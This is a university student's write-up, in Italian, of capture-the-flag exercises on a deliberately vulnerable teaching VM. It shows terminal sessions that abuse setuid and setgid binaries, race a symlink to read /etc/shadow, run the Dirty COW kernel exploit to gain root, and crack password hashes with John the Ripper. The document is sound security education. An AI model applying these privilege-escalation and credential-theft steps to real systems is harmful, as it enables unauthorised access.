UNIVERSITÀ DEGLI STUDI DI MILANO-BICOCCA

CYBERSECURITY FOR DATA SCIENCE

An Offline Capture The Flag-Style Virtual Machine for Cybersecurity Education

Autore: Matteo Campironi
Matricola: 801850
e-mail: m.campironi@campus.unimib.it

1 Introduzione

In questo approfondimento verranno svolti gli esercizi capture the flag proposti dall'università di Birmingham[1], riguardanti l'ambito *Access Control and Passwords*. Ogni compito è stato svolto utilizzando l'utente `bob` sulla macchina virtuale proposta[2].

Sono stati utilizzati due tipi di approccio: uno segue le modalità proposte dalla sfida mentre l'altro utilizza le vulnerabilità presenti nel kernel della distribuzione Linux.

2 Primo metodo

Task 1

Find and view the contents of the file `token1`. The owner of this file, has tried to hide this token rather than properly protect it, which seldom works.

Il primo compito consisteva nel trovare e leggere i contenuti del file `token1`. Come passo iniziale era necessario individuarne la posizione e di conseguenza è stato lanciato da terminale il comando `locate token1`. Il file era solamente nascosto e si trovava nella directory `/home/gazeaui/.../token1`, quindi semplicemente usando `cat` si riesce a leggerne il contenuto:

```
bob@csecvm:~# cat /home/gazeaui/.../token1
Well done, this one was just hidden, the next one has access control.
Please submit this token to the website: afc678eb914e0b1b60c61886c38d8a4f
```

Task 2

Find and view the contents of the file `token2`. This file does have the access control permissions set, so you will need to find a way around them. Explain why the current access control settings do not protect this file and explain how you obtained it.

Il secondo compito è simile al precedente, con la differenza che questa volta il nostro utente non ha i permessi per la lettura del file. Prima di tutto è stato necessario individuare la posizione di `token2`. Utilizzando `locate token2` si scopre che questo risulta essere nella directory `/home/air` e si ottengono le seguenti informazioni:

```
bob@csecvm:~# ls -lh /home/air/token2
-rw------- 1 air sysadmin 109 Jan 30 11:08 /home/air/token2
```

Non si ha alcun permesso di lettura e scrittura sul file e questo appartiene ad `air`, che fa parte del gruppo `sysadmin`. Si è quindi andato ad analizzare il file `/etc/group`:

```
bob@csecvm:~# cat /etc/group | grep sysadmin
sysadmin:x:1190:ordeanm,air
```

Si ottiene dunque l'utile informazione che anche l'utente `ordeanm` appartiene al gruppo `sysadmin`. In ciascuna delle cartelle home dei due utenti si trova un file `shell` perfettamente identico (confrontando i codici sorgente lasciati visualizzabili) e che permette di eseguire un comando che gli viene passato come argomento. La differenza tra i due è nei permessi:

[1] https://www.cs.bham.ac.uk/ tpc/SecEduVM/
[2] http://openit.disco.unimib.it/VM.htm

```
bob@csecvm:~# ls -lh /home/ordeanm/shell
-rwxr-sr-x 1 ordeanm sysadmin 5.3K Dec 20  2014 /home/ordeanm/shell
bob@csecvm:~# ls -lh /home/air/shell
-rwsr-x--- 1 air sysadmin 5.3K Dec 20  2014 /home/air/shell
```

Si può osservare come il primo file possa essere eseguito da chiunque e gli stia stato assegnato il permesso `setgid`. Questo permette che il file venga eseguito con i privilegi del gruppo a cui appartiene l'owner. D'altra parte il file `shell` dell'utente `air` può essere solamente eseguito dagli utenti appartenenti a `sysadmin`, ma ad esso è stato assegnato il permesso `setuid`, il quale permette che l'esecuzione avvenga con i privilegi dell'owner. Sfruttando questa falla è possibile accedere al contenuto del `token2`:

```
bob@csecvm:~# /home/ordeanm/shell /home/air/shell cat /home/air/token2
Well done, now get the shadow file.
Please submit this token to the website: 99bf86c694e2b97efa8c83b58abec5ab
```

Task 3

Find a way to read the `/etc/shadow` password hash file, by exploiting mistakes in the access control settings of the VM. Explain why the current access control settings do not protect the shadow file, explain how you obtained the file.

Inizialmente si verificano i permessi del file `shadow`. Questo è stato creato dall'utente `root`, ma è comunque accessibile a coloro che fanno parte del gruppo `shadow`:

```
bob@csecvm:~# ls -lh /etc/shadow
-rw-r----- 1 root shadow 13K Dec 20  2014 /etc/shadow
```

Si analizza quindi ancora una volta il file `/etc/group`, per capire quali sono gli utenti che appartengono al gruppo `shadow`:

```
bob@csecvm:~# cat /etc/group | grep shadow
shadow:x:42:jxg
```

Si scopre quindi che `jxg` appartiene al gruppo `shadow`. La cartella `home` di questo utente è accessibile e presenta diversi file, tra cui uno nominato `prompt`. Nel relativo `readme` è scritto che questo programma permette solamente di leggere un file, ma che prima di farlo viene effettuato un controllo sui permessi dell'utente che lo esegue. È interessante osservare come ancora una volta sia stato assegnato il permesso `setgid` e di conseguenza il programma venga eseguito con i privilegi di `shadow`. Di seguito viene riportato un esempio di utilizzo del programma sui file `shadow` e `prova`, creato per testarlo:

```
bob@csecvm:/home/jxg:~# ./prompt /etc/shadow
Operation not permitted
bob@csecvm:/home/jxg:~# ./prompt /home/jxg/prova
The file is accessible by all. Press ENTER to print its contents.
Ciao mondo!
```

Come era lecito aspettarsi il controllo non permette di accedere direttamente al file `shadow`, ma questo viene effettuato solo all'inizio e chiede di premere il tasto ENTER per confermare. In questo modo si ha quanto tempo si vuole per eluderlo, andando a sostituire il file aperto con un link verso il file `shadow`:

```
bob@csecvm:/home/jxg:~# ./prompt /home/jxg/prova
The file is accessible by all. Press ENTER to print its contents.
## Sostituisco il file prova con un link verso /etc/shadow
root:\$6\$0K/muv.Y\$yQbHmrNxhIWN.Iq4CSQ8cOr4VMmQ4mSaFwwMUv7Zramsah3o6nm/vdz
Yz3h7RLXcU2HqmdIcM7Yzf6pwYRGY11:16087:0:99999:7:::
...
```

3 Secondo metodo

I primi tre compiti sono stati risolti sfruttando gli errori volutamente posti nella macchina virtuale. Questa però si basa su una versione di Debian molto vecchia. Utilizzando il comando `uname -r` si scopre che la versione del kernel in esecuzione è la `2.6.32-5-686`. Questo apre le porte all'utilizzo di exploit basati su Dirty Cow[3] che permettono di ottenere i permessi di root e di conseguenza svolgere senza alcun problema i punti precedenti. Dirty COW (Dirty copy-on-write) è una vulnerabilità del kernel Linux che sfrutta una race condition nell'implementazione del meccanismo copy-on-write nel memory-management subsystem del kernel. Per eseguirlo è solamente necessario compilare il codice sorgente come indicato ed eseguire l'exploit scegliendo una nuova password per l'utente `firefart`, che avrà i privilegi di root:

```
bob@csecvm:~# gcc -pthread dirty.c -o dirty -lcrypt
bob@csecvm:~# ./dirty cybersecurity2021
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: cybersecurity2021
Complete line:
firefart:fiN1.etce5EWU:0:0:pwned:/root:/bin/bash
bob@csecvm:~# su firefart
firefart@csecvm:~# id
uid=0(firefart) gid=0(root) groups=0(root)
```

4 Ultimo task

Task 4

Install and run a password cracker against the shadow file. Using the password cracker you choose, crack as many of the passwords from the shadow file as you can; you will find that getting a good wordlist and rule set is much more important than the speed of the computer you run the cracker on.

Una volta che si è in possesso del file `shadow` è possibile utilizzare dei tool per cercare di estrarre le password. A questo scopo è stata creata una nuova macchina virtuale con distribuzione *Kali Linux 2020.4* e come password cracker è stato usato *John the Ripper*. È stata utilizzata la wordlist reperibile su `Openwall`[4], con il flag `--rules=Jumbo`. Sono state trovate 129 password su 190, ma purtroppo non è stata identificata quella dell'utente `root`.

[3] https://www.exploit-db.com/exploits/40839
[4] https://download.openwall.net/pub/wordlists/passwords/passwords.gz